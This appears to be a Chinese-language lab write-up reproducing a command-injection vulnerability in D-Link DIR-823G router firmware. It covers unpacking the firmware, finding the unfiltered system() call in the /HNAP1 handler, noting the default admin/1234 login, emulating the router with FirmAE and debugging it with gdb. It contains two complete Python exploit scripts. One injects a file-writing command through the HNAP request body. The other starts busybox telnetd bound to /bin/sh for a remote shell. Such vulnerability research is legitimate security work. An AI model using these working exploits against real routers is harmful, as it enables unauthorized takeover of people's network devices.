[[CVE]]
[固件下载](D-Link Technical Support)
Ubuntu18
IDA9.1
binwalk
[[FirmAE]]
[[firmwalker]]

固件分析

binwalk解包

先使用binwalk 查看固件信息

1
binwalk DIR823G_V1.0.2B05_20181207.bin

image.png
Squashfs文件系统
再进行解包

1
binwalk -Me DIR823G_V1.0.2B05_20181207.bin

image.png

我们先来分析etc文件夹中的inittab启动信息
image.png
我们继续查看rcS文件
image.png
watchdog应该是一种进程的监控程序,启动1000秒后启动web服务文件goahead ,#boa 是被注释掉的,boa 没有被启动

checksec&file查看文件信息
image.png
文件为mips,未开启保护

我们使用ida打开goahead文件进行分析
image.png

我们着重关注

1
2
if ( sub_423F90() < 0 )
return -1;

中的sub_423F90函数


管理界面初始化函数
第14行 sub_416908("adm", 7, 3, 0, 0);创建名为 adm 的权限组
第17行 sub_415F5C("admin", "1234", "adm", 0, 0);默认账号密码为admin / 1234
第46行 sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0); 漏洞点在sub_42383C函数中
image.png
这里把参数 a7原样放进 echo 命令,然后交给 system() 执行,并且没有任何的过滤

我们搜索与HNAP1相关的文件

1
grep -ir "HNAP1"

image.png
查看hnap.jsSOAPAction.js 文件
其中SOAPAction.js是传输协议
image.png

hnap.js为两段式请求
GET /hnap/<HnapName>.json 拿一份模板数据,再 POST /HNAP1/,用头部SOAPACTION: "http://purenetworks.com/HNAP1/<HnapName>"
HNAP_AUTH: <HMAC> <timestamp> 发送 JSON/XML 正文。

固件模拟

使用[[FirmAE]]进行模拟

1
sudo ./run.sh -d dlink DIR823G_V1.0.2B05_20181207.bin

image.png

漏洞复现

我们先写一段exp测试以下漏洞情况
image.png
在HNAP1界面时的http请求包内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://192.168.0.1:80/HNAP1/"

data_s = "'`echo bbbbbb >web_mtn/misaki.html`'"
#写入misaki.html
length = len(data_s)

headers_s = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Content-Length": str(length),
"SOAPAction": "\"http://purenetworks.com/HNAP1/GetClientInfo\"",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
"Content-Type": "text/xml; charset=UTF-8",
"Origin": "http://192.168.0.1",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en-US;q=0.9,en;q=0.8",
"Connection": "close"
}
response = requests.post(url, headers=headers_s, data=data_s)

根据请求包写脚本

image.png
找到漏洞点函数地址和system执行的地址

1
2
3
4
5
6
7
set architecture mips
set endian little
set sysroot lib/
set solib-search-path lib/
target remote 192.168.0.1:1337
b *0x0042383C#刚进入函数的地址
b *0x00423A0C#执行system前下断点

准备好gdb配置脚本
image.png
使用FirmAE中的gdbserver,将goahead服务器文件挂起

1
gdb-multiarch -x mygdb.gdb

执行命令打开gdb
image.png
C到断点处,再运行我们的exp脚本
image.png
运行完成后再c,跳到下一个断点,n走到system执行处
image.png
进行执行
image.png
使用FirmAE的shell进行查看,发现成功写入

由于没有/dev/tcp,也没有telnet,我们可以使用/bin/busybox中的telnetd进行反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://192.168.0.1:80/HNAP1/"

data_s = "'; /bin/busybox telnetd -l /bin/sh -p 4444 &'"

length = len(data_s)

headers_s = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Content-Length": str(length),
"SOAPAction": "\"http://purenetworks.com/HNAP1/GetClientInfo\"",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
"Content-Type": "text/xml; charset=UTF-8",
"Origin": "http://192.168.0.1",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en-US;q=0.9,en;q=0.8",
"Connection": "close"
}
response = requests.post(url, headers=headers_s, data=data_s)
1
telnet 192.168.0.1 4444

image.png

成功拿到shell